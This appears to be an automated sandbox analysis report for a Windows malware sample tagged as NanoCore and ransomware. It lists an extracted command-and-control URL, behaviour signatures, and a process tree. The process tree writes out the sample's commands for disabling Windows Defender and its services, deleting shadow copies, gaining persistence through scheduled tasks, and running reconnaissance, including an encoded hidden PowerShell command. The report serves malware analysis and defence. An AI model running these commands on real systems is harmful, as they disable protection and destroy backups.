Overview

overview

10

Static

static

10

2026-07-22...ry.exe

windows10-2004-x64

10

2026-07-22...ry.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 01:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 50KB
  • Sample260723-bwcszatzev
  • SHA256 ccb2f799da8554fba36a89141dd675576d4841ba9d5196d1c18ed633ed22f7cc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionnanocoreimpactkeyloggerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Version

  • 1.2.2.0

C2

  • http://cakhiatvxla.cv

Mutex

  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://cakhiatvxla.cv

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2624
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" http://cakhiatvxla.cv
      2⤵
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffd1efac728,0x7ffd1efac734,0x7ffd1efac740
        3⤵
          PID:460
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,12151632879182572022,10476429863695163073,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:11
          3⤵
          • System Time Discovery
          PID:5080
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2180,i,8010172899636718805,1385996632617960275,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:13
          3⤵
            PID:4552
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,15164177129197614965,15217553563048985597,262144 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=1888 /prefetch:2
            3⤵
              PID:5040
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,4206920239451263772,2514131253229299145,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:1
              3⤵
                PID:2032
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,2731206651300742834,3921653066436270113,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
                3⤵
                  PID:4316
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4660,i,3264763628864222396,2476049090878468849,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:14
                  3⤵
                    PID:552
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5292,i,17156425755824167211,778712246223937582,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:1
                    3⤵
                      PID:2300
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5544,i,4129011420753263766,5052660170782655419,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=4420 /prefetch:14
                      3⤵
                        PID:2692
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3688,i,2661644544855163232,707874680818091515,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:1
                        3⤵
                          PID:2480
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3140,i,9525666994574394109,3482646456763395445,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:1
                          3⤵
                            PID:1252
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5924,i,5016278066981063994,5117200655798345541,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:1
                            3⤵
                              PID:3980
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6084,i,16675935026930378359,12208139649873546004,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:1
                              3⤵
                                PID:4652
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6172,i,6769422274203744834,993985946754034181,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:1
                                3⤵
                                  PID:4248
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3320,i,1873684073263445630,2985105488524595592,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
                                  3⤵
                                    PID:2016
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6176,i,16691722216512349281,11783055947029708583,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:1
                                    3⤵
                                      PID:5252
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6324,i,11647904286802973014,12154040290544288300,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:1
                                      3⤵
                                        PID:5448
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5904,i,12093311812345191330,12500018574905314073,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=6176 /prefetch:1
                                        3⤵
                                          PID:388
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5680,i,13228282463207587185,16251946504414397944,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:14
                                          3⤵
                                            PID:1980
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5676,i,622001838689148504,10427605982888348194,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=6300 /prefetch:14
                                            3⤵
                                              PID:1152
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5720,i,9429469575861565857,11892305780513893939,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:9
                                              3⤵
                                                PID:1120
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6320,i,17530460450092955390,16941978412895815213,2097152 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:1
                                                3⤵
                                                  PID:3920
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5704,i,14985603756592966793,12254713292975166671,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:14
                                                  3⤵
                                                    PID:4320
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5716,i,622504005210667069,10470309793753231466,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
                                                    3⤵
                                                      PID:296
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5976,i,7505950955182491850,7834605498972141571,524288 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:14
                                                      3⤵
                                                        PID:4960
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5736,i,7448199606477361385,13466146617224574567,262144 --field-trial-handle=1892,i,14556657292299780051,1414220431883068463,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:10
                                                        3⤵
                                                          PID:5076
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
                                                        2⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1840
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop wscsvc
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:2896
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config wscsvc start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:4360
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop SecurityHealthService
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:5792
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:628
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop WinDefend
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:2616
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config WinDefend start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:5448
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop MsMpSvc
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:5928
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:2016
                                                      • C:\Windows\System32\fodhelper.exe
                                                        "C:\Windows\System32\fodhelper.exe"
                                                        2⤵
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:6076
                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe"
                                                          3⤵
                                                            PID:1012
                                                        • C:\Windows\System32\sc.exe
                                                          "C:\Windows\System32\sc.exe" stop wscsvc
                                                          2⤵
                                                          • Launches sc.exe
                                                          PID:4092
                                                        • C:\Windows\System32\sc.exe
                                                          "C:\Windows\System32\sc.exe" stop wuauserv
                                                          2⤵
                                                          • Launches sc.exe
                                                          PID:2592
                                                        • C:\Windows\System32\vssadmin.exe
                                                          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                          2⤵
                                                          • Interacts with shadow copies
                                                          PID:2404
                                                        • C:\Windows\System32\wbem\WMIC.exe
                                                          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4876
                                                        • C:\Windows\System32\wscript.exe
                                                          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                          2⤵
                                                          • Executes a VBScript file via the Windows Script Host.
                                                          PID:392
                                                        • C:\Windows\System32\schtasks.exe
                                                          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
                                                          2⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:3884
                                                        • C:\Windows\System32\schtasks.exe
                                                          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
                                                          2⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:4572
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:5004
                                                          • C:\Windows\system32\vssadmin.exe
                                                            vssadmin delete shadows /all /quiet
                                                            3⤵
                                                            • Interacts with shadow copies
                                                            PID:1096
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic shadowcopy delete
                                                            3⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:1012
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:124
                                                          • C:\Windows\system32\systeminfo.exe
                                                            systeminfo
                                                            3⤵
                                                            • Gathers system information
                                                            PID:2028
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:4628
                                                          • C:\Windows\System32\Conhost.exe
                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            3⤵
                                                              PID:3884
                                                            • C:\Windows\system32\tasklist.exe
                                                              tasklist
                                                              3⤵
                                                              • Enumerates processes with tasklist
                                                              PID:3508
                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:5500
                                                            • C:\Windows\system32\whoami.exe
                                                              whoami
                                                              3⤵
                                                                PID:5252
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                                                              2⤵
                                                              • Executes a command shell one-liner
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:3376
                                                              • C:\Windows\system32\net.exe
                                                                net user
                                                                3⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1608
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user
                                                                  4⤵
                                                                    PID:3620
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                                                                2⤵
                                                                • Executes a command shell one-liner
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:5136
                                                                • C:\Windows\system32\ipconfig.exe
                                                                  ipconfig /all
                                                                  3⤵
                                                                  • Gathers network information
                                                                  PID:1500
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                                                                2⤵
                                                                • Executes a command shell one-liner
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:4284
                                                                • C:\Windows\system32\NETSTAT.EXE
                                                                  netstat -an
                                                                  3⤵
                                                                  • Gathers network information
                                                                  PID:5372
                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                                                                2⤵
                                                                • Scheduled Task/Job: Scheduled Task
                                                                PID:2264
                                                                • C:\Windows\System32\Conhost.exe
                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  3⤵
                                                                    PID:4572
                                                                • C:\Windows\System32\wscript.exe
